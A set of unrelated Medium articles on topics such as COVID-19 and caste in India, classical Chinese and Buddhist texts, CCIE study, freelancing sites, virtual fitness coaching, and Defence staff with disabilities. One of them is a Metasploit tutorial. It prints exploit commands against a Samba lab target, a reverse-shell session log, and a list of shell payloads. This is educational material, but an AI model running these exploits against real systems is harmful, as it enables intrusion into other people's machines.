Economically, lockdowns, restricted travel, ban on public gatherings, and work from home will force the informal sector workforce to lose wages. Small shop owners and factory workers will suffer losses reminiscent of recession. Families of daily-wage earners have been forced into poverty, children into malnutrition and workers into unemployment. Moreover, it is a time when unemployment rates are at a 45-year high, India’s ranking in the global hunger index is 102, and and the economy is in slowdown. Unless planned for equity, this epidemic can turn into an economic catastrophe insidiously killing more people than Covid-19.
The national capital is still reeling from the violence that broke out in North East Delhi earlier this year. The Covid-19 outbreak has distracted the government from rehabilitation efforts, as is evidenced by accelerated attempts to disband camps set up for the internally displaced, delay in compensations, reduced media coverage, and the declining presence of volunteers on ground.
Furthermore, the pandemic is being cited as a reason to end the protests against the Citizenship Amendment Act. This kind of panic will shroud the solidarity of citizenry, but also allow authorities to enforce the agenda of the amendment act, National Register of Citizens and National Population Register, causing apprehension and distrust. This does not bode well for the epidemic management.
Mitigating the medical, economic and socio-political aspects of the epidemic will require colossal multi-disciplinary efforts. The marginalised and the vulnerable, both urban and rural, must be at the core of policy design. Learnings should be adopted from epidemic management in similar low-resource settings.
Public health solutions
Health systems capacity, including diagnostics, must be augmented to make it accessible for the last mile. Temporary “corona treatment units”, modelled along the lines of Ebola treatment units in West Africa, must be built at block levels. Accredited social health activists; practitioners of Ayurveda, Yoga and Naturopathy, Unani, Siddha and Homoeopathy; and nurses should be trained in triaging or deciding the order of treatment for Covid-19, wearing and removing personal protective equipment, and emergency management of the disease.
Considering the ecology of urban India, municipal bodies, in coordination with concerned stakeholders, should be empowered to design hyperlocal strategies for overcrowded neighborhoods, homeless shelters and prison populations. Kerala has been an exemplar for all states in equity and inclusion. It demonstrated inclusive leadership by inviting religious leaders, panchayats and urban local bodies, members of civil society and non-governmental organisations to participate; established communication in languages preferred by migrants to educate and prevent stigmatisation of the disease; and engaged prisoners in producing masks.
Holistic answers
It took years of struggle by Dalit leaders like Jyotiba Phule, BR Ambedkar, Periyar, and Kanshi Ram, to unveil the atrocities of casteism. In this context, we must realise that language shapes cultures and societies, and leaves an imprint on history. Words and phrases for fighting Covid-19 should not leave a legacy whose reversal will require a similar struggle. “Social distancing” has a caste connotation. It must urgently be replaced by “physical distancing”.
On the economic front, funds should be allocated for unemployment allowance, at least until the crisis is over. All states should learn from Kerala and Chhattisgarh and suspend biometric authentication for public distribution system benefits, increase the amount of food ration, and ensure adequate supply of hand sanitisers and disinfectants.
Moreover, the government must defer the National Population Register — a humongous economic and political undertaking that will only take away attention from the Covid-19 crisis and increase person-to-person contact. Deferring it will not only quell anxieties, but also save resources required to fight the looming disaster.
Viruses and bacteria do not discriminate, but society does. Societal structures shaped by oppressive structural forces of casteism, classism, communalism, elitism, and patriarchy render a certain section vulnerable. HIV disproportionately afflicts the socially marginalised injection drug users, commercial sex workers and homosexual men. Similarly, malaria kills geographically marginalised Adivasis and forest dwellers, and tuberculosis excessively plagues the economically marginalised. The spread of Covid-19 will be no different, but we have an opportunity to change this. If we want to avoid this pattern with Covid-19, the time to act is now. | https://medium.com/voices-from-the-frontline/india-cannot-fight-coronavirus-without-taking-into-account-its-class-and-caste-divisions-a8de8b48ff6 | ['Heal Initiative'] | 2020-06-17 22:17:11.848000+00:00 | ['Global Health', 'India', 'Public Health', 'Coronavirus', 'Covid 19'] |
Yeni Nesil Javascript Bileşenleri | JS Bin
A live pastebin for HTML, CSS & JavaScript and a range of processors, including SCSS, CoffeeScript, Jade and more... | https://medium.com/bili%C5%9Fim-hareketi/yeni-nesil-javascript-bile%C5%9Fenleri-2298ee9b01c2 | ['Barkın Kızılkaya'] | 2020-10-22 07:08:27.590000+00:00 | ['Yazılım', 'React', 'Web Development', 'JavaScript', 'Software Development'] |
METASPLOIT FUNDAMENTALS: Part 2 | In learning how to use Metasploit, you will find there are many different interfaces to use with this hacking tool, each with their own strengths and weaknesses. As such, there is no one perfect interface to use with the Metasploit console, although the MSFConsole is the only supported way to access most Metasploit commands. It is still beneficial, however, to be comfortable with all Metasploit interfaces.
Let’s see some Metasploit interfaces
2. MSFCLI INTERFACE
The msfcli provides a powerful command-line interface to the framework. This allows you to easily add Metasploit exploits into any scripts you may create.
Note: As of 2015–06–18 msfcli has been removed. One way to obtain similar functionality through msfconsole is by using the -x option. For example, the following command sets all the options for samba/usermap_script and runs it against a target:
root@kali:~# msfconsole -x "use exploit/multi/samba/usermap_script;\
set RHOST 172.16.194.172;\
set PAYLOAD cmd/unix/reverse;\
set LHOST 172.16.194.163;\
run"
Command Line Interface Commands
Running the msfcli help command:
root@kali:~# msfcli -h
Usage: /usr/bin/msfcli<option=value> [mode]
=========================================================== Mode Description
---- -----------
(A)dvanced Show available advanced options for this module
(AC)tions Show available actions for this auxiliary module
(C)heck Run the check routine of the selected module
(E)xecute Execute the selected module
(H)elp You're looking at it baby!
(I)DS Evasion Show available ids evasion options for this module
(O)ptions Show available options for this module
(P)ayloads Show available payloads for this module
(S)ummary Show information about this module
(T)argets Show available targets for this exploit module Examples:
msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E
msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E
Note: when using msfcli, variables are assigned using the “equal to” operator = and that all options are case-sensitive.
root@kali:~# msfcli exploit/multi/samba/usermap_script RHOST=172.16.194.172 PAYLOAD=cmd/unix/reverse LHOST=172.16.194.163 E
[*] Please wait while we load the module tree...
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
=[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 936 exploits - 500 auxiliary - 151 post
+ -- --=[ 252 payloads - 28 encoders - 8 nops
=[ svn r15767 updated today (2012.08.22) RHOST => 172.16.194.172
PAYLOAD > cmd/unix/reverse
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo cSKqD83oiquo0xMr;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "cSKqD83oiquo0xMr\r
"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.194.163:4444 -> 172.16.194.172:57682) at 2012-06-14 09:58:19 -0400 uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
If you aren’t entirely sure about what options belong to a particular module, you can append the letter O to the end of the string at whichever point you are stuck.
root@kali:~# msfcli exploit/multi/samba/usermap_script O
[*] Initializing modules... Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 139 yes The target port
To display available payloads for the current module, append the letter P to the msfcli command line string.
root@kali:~# msfcli exploit/multi/samba/usermap_script P
[*]Initializing modules... Compatible payloads
=================== Name Description
---- -----------
cmd/unix/bind_awk Listen for a connection and spawn a command shell via GNU AWK
cmd/unix/bind_inetd Listen for a connection and spawn a command shell (persistent)
cmd/unix/bind_lua Listen for a connection and spawn a command shell via Lua
cmd/unix/bind_netcat Listen for a connection and spawn a command shell via netcat
cmd/unix/bind_netcat_gaping Listen for a connection and spawn a command shell via netcat
cmd/unix/bind_netcat_gaping_ipv6 Listen for a connection and spawn a command shell via netcat
cmd/unix/bind_perl Listen for a connection and spawn a command shell via perl
cmd/unix/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl
cmd/unix/bind_ruby Continually listen for a connection and spawn a command shell via Ruby
cmd/unix/bind_ruby_ipv6 Continually listen for a connection and spawn a command shell via Ruby
cmd/unix/bind_zsh
Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is
often available, please be aware it isn't usually installed by default.
cmd/unix/generic Executes the supplied command
cmd/unix/reverse Creates an interactive shell through two inbound connections
cmd/unix/reverse_awk Creates an interactive shell via GNU AWK
cmd/unix/reverse_lua Creates an interactive shell via Lua
cmd/unix/reverse_netcat Creates an interactive shell via netcat
cmd/unix/reverse_netcat_gaping Creates an interactive shell via netcat
cmd/unix/reverse_openssl Creates an interactive shell through two inbound connections
cmd/unix/reverse_perl Creates an interactive shell via perl
cmd/unix/reverse_perl_ssl Creates an interactive shell via perl, uses SSL
cmd/unix/reverse_php_ssl Creates an interactive shell via php, uses SSL
cmd/unix/reverse_python Connect back and create a command shell via Python
cmd/unix/reverse_python_ssl Creates an interactive shell via python, uses SSL, encodes with base64 by design.
cmd/unix/reverse_ruby Connect back and create a command shell via Ruby
cmd/unix/reverse_ruby_ssl Connect back and create a command shell via Ruby, uses SSL
cmd/unix/reverse_ssl_double_telnet Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option
cmd/unix/reverse_zsh
Connect back and create a command shell via Zsh. Note: Although Zsh is often
available, please be aware it isn't usually installed by default.
Benefits of the MSFcli Interface
Supports the launching of exploits and auxiliary modules
Useful for specific tasks
Good for learning
Convenient to use when testing or developing a new exploit
Good tool for one-off exploitation
Excellent if you know exactly which exploit and options you need
Wonderful for use in scripts and basic automation
The only real drawback of msfcli is that it is not supported quite as well as msfconsole and it can only handle one shell at a time, making it rather impractical for client-side attacks. It also doesn’t support any of the advanced automation features of msfconsole. | https://medium.com/cyberxerx/metasploit-fundamentals-part-2-43f1a70b9471 | [] | 2020-08-24 13:13:05.283000+00:00 | ['Hacker', 'Security', 'Metasploit', 'Hacking', 'Hackthebox'] |
Clean architecture en Flutter | Sysadmin and web developer. Co-organizer of GDGMarbella & FlutterConf in Marbella, Spain. Flutter enthusiastic. | https://medium.com/@alfredobs97/clean-architecture-en-flutter-ee028a6379a5 | ['Alfredo Bautista Santos'] | 2020-12-28 08:55:34.320000+00:00 | ['Dart', 'Testing', 'Flutter', 'Clean Code', 'Clean Architecture'] |
The superior man acts before he speaks, and afterwards speaks according to his actions | The superior man acts before he speaks, and afterwards speaks according to his actions
Daily three quotes from China classics
Zi Gong asked what constituted the superior man. The Master said, “He acts before he speaks, and afterwards speaks according to his actions.”
— The Analects, Confucius
Returning to Simplicity
Who knows his manhood’s strength,
Yet still his female feebleness maintains;
As to one channel flow the many drains,
All come to him, yea, all beneath the sky.
Thus he the constant excellence retains;
The simple child again, free from all stains. Who knows how white attracts,
Yet always keeps himself within black’s shade,
The pattern of humility displayed,
Displayed in view of all beneath the sky;
He in the unchanging excellence arrayed,
Endless return to man’s first state has made.
Who knows how glory shines,
Yet loves disgrace, nor ever for it is pale;
Behold his presence in a spacious vale,
To which men come from all beneath the sky.
The unchanging excellence completes its tale;
The simple infant man in him we hail. The unwrought material, when divided and distributed, forms vessels. The sage, when employed, becomes the Head of all the Officers (of government); and in his greatest regulations he employs no violent measures.
— Tao Te Ching, Lao Zi
The Inquirer
Thus have I heard. On one occasion the Blessed One was living at Sāvatthī in Jeta’s Grove, Anāthapiṇḍika’s Park. There he addressed the bhikkhus thus: “Bhikkhus.” — “Venerable sir,” they replied. The Blessed One said this:
“Bhikkhus, a bhikkhu who is an inquirer, not knowing how to gauge another’s mind, should make an investigation of the Tathāgata in order to find out whether or not he is fully enlightened.”
“Venerable sir, our teachings are rooted in the Blessed One, guided by the Blessed One, have the Blessed One as their resort. It would be good if the Blessed One would explain the meaning of these words. Having heard it from the Blessed One, the bhikkhus will remember it.”
“Then listen, bhikkhus, and attend closely to what I shall say.”
“Yes, venerable sir,” the bhikkhus replied. The Blessed One said this:
“Bhikkhus, a bhikkhu who is an inquirer, not knowing how to gauge another’s mind, should investigate the Tathāgata with respect to two kinds of states, states cognizable through the eye and through the ear thus: ‘Are there found in the Tathāgata or not any defiled states cognizable through the eye or through the ear?’ When he investigates him, he comes to know: ‘No defiled states cognizable through the eye or through the ear are found in the Tathāgata.’
“When he comes to know this, he investigates him further thus: ‘Are there found in the Tathāgata or not any mixed states cognizable through the eye or through the ear?’ When he investigates him, he comes to know: ‘No mixed states cognizable through the eye or through the ear are found in the Tathāgata.’
“When he comes to know this, he investigates him further thus: ‘Are there found in the Tathāgata or not cleansed states cognizable through the eye or through the ear?’ When he investigates him, he comes to know: ‘Cleansed states cognizable through the eye or through the ear are found in the Tathāgata.’
“When he comes to know this, he investigates him further thus: ‘Has this venerable one attained this wholesome state over a long time or did he attain it recently?’ When he investigates him, he comes to know: ‘This venerable one has attained this wholesome state over a long time; he did not attain it only recently.’
“When he comes to know this, he investigates him further thus: ‘Has this venerable one acquired renown and attained fame, so that the dangers connected with renown and fame are found in him?’ For, bhikkhus, as long as a bhikkhu has not acquired renown and attained fame, the dangers connected with renown and fame are not found in him; but when he has acquired renown and attained fame, those dangers are found in him. When he investigates him, he comes to know: ‘This venerable one has acquired renown and attained fame, but the dangers connected with renown and fame are not found in him.’
“When he comes to know this, he investigates him further thus: ‘Is this venerable one restrained without fear, not restrained by fear, and does he avoid indulging in sensual pleasures because he is without lust through the destruction of lust?’ When he investigates him, he comes to know: ‘This venerable one is restrained without fear, not restrained by fear, and he avoids indulging in sensual pleasure because he is without lust through the destruction of lust.’
“Now, bhikkhus, if others should ask that bhikkhu thus: ‘What are the venerable one’s reasons and what is his evidence whereby he says: “That venerable one is restrained without fear, not restrained by fear, and he avoids indulging in sensual pleasures because he is without lust through the destruction of lust”?’ — answering rightly, that bhikkhu would answer thus: ‘Whether that venerable one dwells in the Sangha or alone, while some there are well behaved and some are ill behaved and some there teach a group, while some here are seen concerned about material things and some are unsullied by material things, still that venerable one does not despise anyone because of that. And I have heard and learned this from the Blessed One’s own lips: “I am restrained without fear, not restrained by fear, and I avoid indulging in sensual pleasures because I am without lust through the destruction of lust.”’
“The Tathāgata, bhikkhus, should be questioned further about that thus: ‘Are there found in the Tathāgata or not any defiled states cognizable through the eye or through the ear?’ The Tathāgata would answer thus: ‘No defiled states cognizable through the eye or through the ear are found in the Tathāgata.’
“If asked, ‘Are there found in the Tathāgata or not any mixed states cognizable through the eye or through the ear?’ the Tathāgata would answer thus: ‘No mixed states cognizable through the eye or through the ear are found in the Tathāgata.’
”If asked, ‘Are there found in the Tathāgata or not cleansed states cognizable through the eye or through the ear?’ the Tathāgata would answer thus: ‘Cleansed states cognizable through the eye or through the ear are found in the Tathāgata. They are my pathway and my domain, yet I do not identify with them.’
“Bhikkhus, a disciple should approach the Teacher who speaks thus in order to hear the Dhamma. The Teacher teaches him the Dhamma with its higher and higher levels, with its more and more sublime levels, with its dark and bright counterparts. As the Teacher teaches the Dhamma to a bhikkhu in this way, through direct knowledge of a certain teaching here in that Dhamma, the bhikkhu comes to a conclusion about the teachings. He places confidence in the Teacher thus: ‘The Blessed One is fully enlightened, the Dhamma is well proclaimed by the Blessed One, the Sangha is practising the good way.’
“Now if others should ask that bhikkhu thus: ‘What are the venerable one’s reasons and what is his evidence whereby he says, “The Blessed One is fully enlightened, the Dhamma is well proclaimed by the Blessed One, the Sangha is practising the good way”?’ — answering rightly, that bhikkhu would answer thus: ‘Here, friends, I approached the Blessed One in order to hear the Dhamma. The Blessed One taught me the Dhamma with its higher and higher levels, with its more and more sublime levels, with its dark and bright counterparts. As the Blessed One taught the Dhamma to me in this way, through direct knowledge of a certain teaching here in that Dhamma, I came to a conclusion about the teachings. I placed confidence in the Teacher thus: ”The Blessed One is fully enlightened, the Dhamma is well proclaimed by the Blessed One, the Sangha is Dhamma is well proclaimed by the Blessed One, the Sangha is practising the good way.”’
“Bhikkhus, when anyone’s faith has been planted, rooted, and established in the Tathāgata through these reasons, terms, and phrases, his faith is said to be supported by reasons, rooted in vision, firm; it is invincible by any recluse or brahmin or god or Māra or Brahmā or by anyone in the world. That is how, bhikkhus, there is an investigation of the Tathāgata in accordance with the Dhamma, and that is how the Tathāgata is well investigated in accordance with the Dhamma.”
That is what the Blessed One said. The bhikkhus were satisfied and delighted in the Blessed One’s words.
— Majjhima Nikāya 47, Buddha | https://medium.com/china-three/the-superior-man-acts-before-he-speaks-and-afterwards-speaks-according-to-his-actions-d5bf75b4b490 | ['Jian Xu'] | 2020-08-10 11:01:01.806000+00:00 | ['Quotes', 'Philosophy', 'Culture', 'China', 'Religion'] |
How to Pass the CCIE Security Lab with Certification Training? | Cisco CCIE Security certification means an expert level of security certified professionals who are going to have the ability, skills and knowledge in order to plan, design, implementation and troubleshoot complex levels of Cisco security technologies and solutions by using the advanced level of techniques as well as latest industry-based techniques which would be utilized to keep the systems and enterprises networks secure from advanced security threats and any other kind of security risks.
CCIE security certification is known as quite a lot of reputable IT certification in the world which would make you an advanced level skilled security engineer. CCIE security engineers are quite in demand in the IT industry. These certifications have been in demands in the IT sector with stability. After certification, the expected salary hike which you could expect lies from about 60% to 200% in comparison with your current salary. So you are required to have a good training session, which you could obtain by joining the SPOTO.
Prerequisite for CCIE Security
There is no official prerequisite for CCIE security certification. No other certification and training would be required for CCIE Security Certification. You would need to only pass the certification exams but before that, you would be able to have in-depth knowledge of the exam topics.
Lab Exam Overview:
CCIE Security Lab exam is considered for about 8 hours which is going to validate your troubleshooting skills in order to solve the security issues as well as the problems in network security systems.
Conditions to clear the CCIE security lab exam:
CCIE security lab exam could be enriched only after clearing the written exam only. If you would clear the CCIE written exam then you should attempt your first lab exam within a time span of 18 months after clearing the written exam. If you would fail in the lab exam then your next attempt for lab exam would have to attempt within a time span of 12 months from your first lab exam attempt. If you fail again to clear the lab exam within a time span of 3 years after clearing written exam then you should have reattempt for CCIE Security written exam again for the next time lab exam attempt. The CCIE Security Lab Exam is going to cost you around $1600
How to pass the CCIE Security Lab Exams?
Practice on Lab: You are required to do as much lab practice possible as you could on each and every topic and you could try to clear all the doubts during the CCIE Security Labs. Ask for answers to your trainers or lab instructor as and when you face trouble regarding anything.
Active on CCIE Security forum: You should have to be part of active CCIE Security forums where you could be certified CCIE security professionals available for 24 hours. Ask small questions and clear your doubt there and be in contact with the experts present there in the forum. Try to be part of multiple CCIE forums.
Find your Weakness: You are then required to make the list of all your weak points and strength on CCIE security systems. Find the topics which might be asked in the exams and make your weak topics which are connected to the exam topics.
Understand the Topology: CCIE Security exams are going to validate your technical skills and would also check about how much you understand your topology and troubleshooting method. You are then required to have an in-depth knowledge of troubleshooting about the Cisco security systems.
So, if you follow the above-mentioned tips and if you gain a good training partner, like the SPOTO, then you would be able to increase your chances of achieving this certification. | https://medium.com/@maxinewang2019/how-to-pass-the-ccie-security-lab-with-certification-training-7811e2cefc48 | ['Maxine Wang'] | 2019-04-12 07:35:11.026000+00:00 | ['Certification'] |
5 best freelancing platforms to get your career back on track in 2021 | While the COVID-19 pandemic has devastated the Indian economy and made thousands of professionals jobless, companies of all sizes shift their attention to the freelancers to get the job done.
Employers are hesitant to hire permanent workers due to the economy’s uncertain future. The pandemic has turned tens of millions of Indians into virtual workers as many employers convert full-time jobs into freelance positions.
Society’s perception of freelancing is also changing, and professionals now understand that freelancing not only increases your earning potential but also helps you hone your skills.
If you are looking for an opportunity to rebuild your career, this article is for you.
What is a freelancing platform?
Freelancing websites are popular among people who want flexibility in working hours and freedom to work from anywhere. More and more people are signing up on these websites to do the work they love.
A freelancing platform lets you work at your pace and ease without much commitment and long-term agreements with the employers.
If you want to unleash your talent and earn money without wasting much of your efforts, you really need to become familiar with these wonderful platforms.
Here Are the Top 5 Freelancing platforms in India:
1. Rozgaar India
Currently, Rozgaar India ranks no. 1 amongst the top 5 freelance websites of India. They have a lot of skilled freelancers who have joined their portal from all across the country working in popular categories like content writing, computer programmers, web designers, graphic designers, copywriters, accountants, marketing experts, and many others.
Rozgaar India has set many job trends into motion changing the ecosystem of the Indian Job market. Whether you are a student, whether you are a homemaker, or you are an unemployed person if you have a talent and you can deliver your work on time then this platform can change your life for sure. Once you join this platform, you have an ocean of opportunities as a freelancer to earn money and take your career to the next level.
It is an online talent platform for individual professionals where the only thing that matters is your talent. From day one their amazing team starts supporting you with every issue you will face. From setting up your profile and verifying your bank account documents to withdrawing your money, everything is hassle-free. Your money comes directly to your bank account.
Their website is well-optimized for both desktop and mobile users. Even if you encounter any technical issue, you can call the support team or message them and the issue is resolved as soon as possible.
The best thing about this platform is you get to choose the project you want to work on. Employees have to work on projects their boss assigns them while freelancers at Rozgaar India choose their own projects based on their expertise and passion. Another best thing about it is that you never have to do unpaid overtime again.
2. Truelancer
Truelancer is one of the best Indian platforms to work as a freelancer. The most common reason for starting out as a freelancer is the ability to be your own boss. As a freelancer, you become the master of your ship, you can work from anyplace, anytime.
Truelancer makes it easy to bid on projects and chat with employers. You can easily communicate with your client to clear your doubts. If you are an employer and looking for talented professionals all you have to do is to post the job on the website and you will find the freelancers to provide you the best quality work your brand requires.
3. Fiverr
Fiverr, another successful freelancing platform in India allows you to get paid for the work you do online and the results you create. On this platform the more you work, the more you get paid. The better results you create, the better you get paid. If you are a programmer, technical writer, translator this platform can be the place where you get the opportunity to earn money based on your expertise.
Fiverr stand out from the other significant freelance websites due to its focus on prepackaged freelance jobs, rather than following the competitive bidding model.
As a freelancer on Fiverr, you will learn more than you ever thought possible as every day brings new challenges. You work as a business person solving business problems every day.
4. Freelancer
Freelancer is one of the oldest online talent platforms. It caters to a wide range of freelancers. From the most unusual to the very conventional, there are plenty of roles to explore, including software engineers, graphic designers, writers, digital marketers, SEO experts, and many others.
Freelancing can become your escape from the mundane world of a 9 to 5 job. So, if you’re someone who travels a lot, someone who only becomes productive at a certain time of the day, or someone who’s balancing so many things in life, this platform can surely help you become your own boss.
5. WorkNhire
Providing great employment opportunities to Indian freelancers, WorkNhire has become a popular choice among copywriters, web designers, and other professionals. To start earning money as a freelancer all you need to do is to create your account, fill out your profile details, list your skills and experience, and start bidding on assignments just like Upwork and Freelancer.
When done right, this freelancing platform will allow you to improve the quality of your life in many ways leading to better growth and development for you and your life.
WorknHire also enables you to associate directly with your clients nearer to your locality increasing your chances to get better opportunities in near future.
Conclusion
I hope you like this article. Now you are all set to become an independent worker. The road ahead is not going to be an easy one for you. It is time to do the work that matters for you. If you have any doubts or questions, feel free to leave them in the comment section. | https://medium.com/@surajsurothiya/5-best-freelancing-platforms-to-get-your-career-back-on-track-in-2021-d65a5629c762 | ['Suraj Surothiya'] | 2020-12-26 08:33:18.750000+00:00 | ['Freelancing', 'Remote Working', 'Freelancers', 'Work From Home'] |
Tips For One-On-One Virtual Fitness Sessions | Here are some ways:
1. Promote Your One-On-One Virtual Sessions
You can add a section on your website, post on social media, and email your new or updated workout services to your whole community. Your current one-on-one clients would be glad to know that they can continue their journey with you in a new way, and those seeking a more customized approach to exercise would appreciate the option.
2. Come Up With An Introductory Offer
Make your private sessions easy to try. To do this, you can bundle the first few sessions at a discounted rate. This is a great way to get clients to try your service if you have never offered private one-on-one sessions before.
3. Ask Your Client To Complete An Intake Form
When a client is interested in your service, send them a detailed intake form to fill before their initial consultation. Your form should include questions like:
Do you take any medications?
What is your current fitness routine?
What is your profession? What does your day-to-day look like?
Are there any current or previous injuries that you have?
What kind of fitness equipment is there at your home?
Are there any pre-existing conditions that you have?
4. Ensure Your Liability Waiver Form is Signed
A liability waiver is essential, along with a detailed intake form. Therefore, you should consult your legal counsel to confirm that your liability waiver covers training outside of your facility, including a client’s home.
5. Initial Consultation is Essential
In-person or not, it is essential to first thoroughly discuss your client's needs and goals for one-on-one training with an initial fitness session. You would also have to check their current fitness level. To get an idea about their strength, balance, and flexibility, you might want the client to perform a movement assessment.
All this information and assessment are the requirements for creating a customized program that makes sense for them.
6. Help Your Client Set Up Their Space
Walk your client through proper set-up before they begin. Tell them to clear space with good lighting and set their device — phone, computer, or tablet — far back enough so that it can show their entire body to you while they exercise.
7. Provide Your Client With The Required Equipment
Fitness equipment may or may not be required, depending on your client’s goals and your style of training. The client’s intake form would provide you with information on what kind of exercise equipment they have at home. You can rent or sell your client the required equipment they don’t have access to.
8. Ask Right Questions
You cannot provide hand-on adjustments during a virtual workout session. Therefore, you have to find the right questions to ask when a client is doing an exercise.
For instance, when a client is doing a pushup, ask them: “Do you feel stress or pain in your shoulders?”
In this way, your client would learn to understand what is right and wrong in a movement and their body by feeling it for themselves throughout the workout. In other words, asking the right questions can boost your client’s body awareness.
9. Use Live-Streamed or On-Demand Classes to Supplement Your Sessions
There may be clients who want to work out with you individually and daily. If that is not the case, you should give them access to your live-streamed and pre-recorded workout classes. This would allow them to exercise on days you are not working together.
Moreover, your clients would receive the added benefit of working out in a group. However, it is important to provide any necessary modifications ahead of time to keep your client(s) safe.
10. Out a Schedule That Works Best For Your Client
Virtual workout sessions allow a great opportunity to offer convenience to your clients. Therefore, use the revised schedule to your advantage. You should occasionally ask your client if their availability has changed and what could be the best time for them to join you for a workout.
Even if people are at home more often now, they may still be occupied during the day working remotely or helping children with the additional workload from school during this period.
If your client’s schedule is static, ask whether they want to have the same time each week or if they want to vary up the times depending on what is going on that week. It would help if you were mindful and flexible of ongoing changes, as many people have had changes to their daily routines because of the pandemic.
11. Make Your Client Feel Relaxed and Comfortable
Although many of us might be more relaxed at home, some people may not feel comfortable working out at home.
There could be many reasons for this.
Your client might feel self-conscious exercising in front of family or roommates. Or maybe there is no big enough space available to complete all the workouts they want to. Whatever the reason, sometimes, clients choose to keep fitness separate from their home life for valid reasons.
If you have any such client, you should take time and care to boost their comfort during the session. It would be best if you did not rush into the workout. You can ask them questions like what’s going on in their life and learn about their routine, lifestyle, and goals.
If your client is new to one-on-one training, explain each part of the process well to them to know what to expect.
Conclusion — One-on-One Virtual Sessions Can Be Fun
This period has brought the chance for you to get creative, have fun, and help your client by providing guidance. One-on-one virtual sessions would allow you to know your client intimately and develop a unique bond. One-on-one virtual sessions would be far more than just workouts. | https://medium.com/@atif_9386/tips-for-one-on-one-virtual-fitness-sessions-ca38d56fc20a | ['Atif M.'] | 2020-12-24 14:51:26.034000+00:00 | ['Fitness', 'Virtual', 'Tips', 'At Home Workout', 'Artificial Intelligence'] |
Experiencing disability in Defence | Experiencing disability in Defence
From chronic conditions to learning disorders - serving personnel, veterans and Defence civilians share their stories Ministry of Defence Aug 3·8 min read
Surgeon Lieutenant Commander Hill
Surg Lt Cdr Hill at the Diversity and Inclusion Awards 2019
I joined the Royal Navy on a medical cadetship. Although I had known I had struggled with English, I was assessed and found to have dyslexia. Having been diagnosed, the Royal Navy has supported my needs throughout my career, being neurodiverse and finding alternative ways of learning.
I have been allowed extra time during examinations and am offered adjustments such as getting copies of presentations in advance and handouts printed on yellow paper for courses. The move to online medical records has also helped me immensely.
I have been proud to serve on operations, providing medical care to those above and below the waves — and I have had the privilege of being a patient of the first class military medical care when I have been facing life-threatening medical conditions myself.
I suffer from Ulcerative Colitis, a condition that causes disabling fatigue. With Royal Navy support, I have been able to access blue badge car parking, a radar key for access to disabled toilets, flexible working patterns to adjust working levels by fatigue level whilst non-operational.
Surgeon Lieutenant Commander Hill celebrated with colleagues in January 2020, marking 20 years of gay, lesbian bisexual personnel being permitted in the Armed Forces
With our active disability network, there is always support and advice on hand from people who have gone through similar experiences.
I am proud of my disabilities, proud of the team that has supported me, proud of the Service and I am proud to Serve.
Sgt Smith (RAF)
Sgt Smith in a flight suit
I was diagnosed with Multiple Sclerosis, or MS, in 2015. It’s a condition that affects the brain and spinal cord, and appears in many forms from person to person. For me, I get fatigued easily, can get heavy legs and have trouble controlling my body’s temperature.
I can manage my symptoms without medication, for me it’s about fatigue management. I’m going on exercise in a few weeks and I’m scheduled to deploy overseas next year, and the only things I need to do before either of those are to complete a risk assessment and attend an appointment with my doctor to confirm I’m still managing my symptoms effectively.
My day to day role is in RAF recruitment but I also spend one day a week working on the Defence disability forum CanDiD Network (Chronic conditions and Disability in Defence). My diagnosis doesn’t affect my ability to perform. My boss is very flexible, for example, I worked long hours this weekend so I am able to work from home to help manage my fatigue.
Sgt Smith competing at indoor rowing at the UK Games in Sheffield
I’m also very active in the sporting community, and take part in tournaments for indoor rowing and power lifting. I was also selected to compete and was the first female captain of the Department of Defence Warrior Games in 2019 for team UK; competing in shooting, indoor rowing, powerlifting, athletics and sitting volleyball. Sport helps me, and I believe others, to adapt to their diagnoses. While more people in Defence have neurological diagnoses than physical disability nowadays, it still helps me find my limits.
Since I was first diagnosed in 2015 I’ve seen real improvements in awareness. We have diversity allies, who help colleagues understand the different needs of personnel with chronic illnesses and disabilities. People have contacted me to find out how they can support members of their team through chronic illness and make reasonable adjustments.
Sgt Smith visits 10 Downing Street in uniform for the Millie Awards
In my role as a service personnel CanDiD exec, I’m working to update the medical grading system. Old policies can sometimes mean that simple things can make Service life more difficult for those with chronic conditions. For example, people being redeployed in the middle of treatment, or contract technicalities on promotion.
An Air Vice Marshall himself helped me to fight my individual contract battle (due to my condition, my contract wouldn’t be extended on promotion), and now I’m working collaboratively to change the policy as a whole.
It’s not been easy, and there’s still more to do. But in the five years I’ve been serving with MS I’ve seen the changes in action. Doors are being opened and the stigma there once was, is far less.
Defence Intelligence Officer
As a late identified autistic ADHDer most of my career has been affected by my disabilities without being aware of them. Reflecting back, the structure of military life on operations is helpful for me.
Intelligence officers are essential to Defence
I’ve been employed in areas that exploit my strengths. Hyperfocus, visual thinking and my differences in sensory processing are significant strengths in the intelligence world and bring a lot of value to our work.
I think differently to colleagues and working together means that we can build on those contrasts. Autistic people ask a lot of questions, and I often want to understand why things work as much as how they work, so it means my approach to intelligence work is structured and thorough.
On the other hand chronic depression is very common in those of us who are neurodivergent. Access to mental health support services has been good, with a range of therapies available; whilst CBT is very common it’s often not all that useful for ND people so having access to more person centred therapies has been very helpful.
Stuart, Defence civilian and Army veteran
In 2017 I was diagnosed with sciatica, which quickly developed into the nerve disorder cauda equina syndrome (CES). I was struggling and unable to walk very far and was told by my GP to stay in bed. My Line Manager at the Ministry of Defence allowed me to work from home using a laptop and mobile phone to keep in contact and attend meetings via Skype.
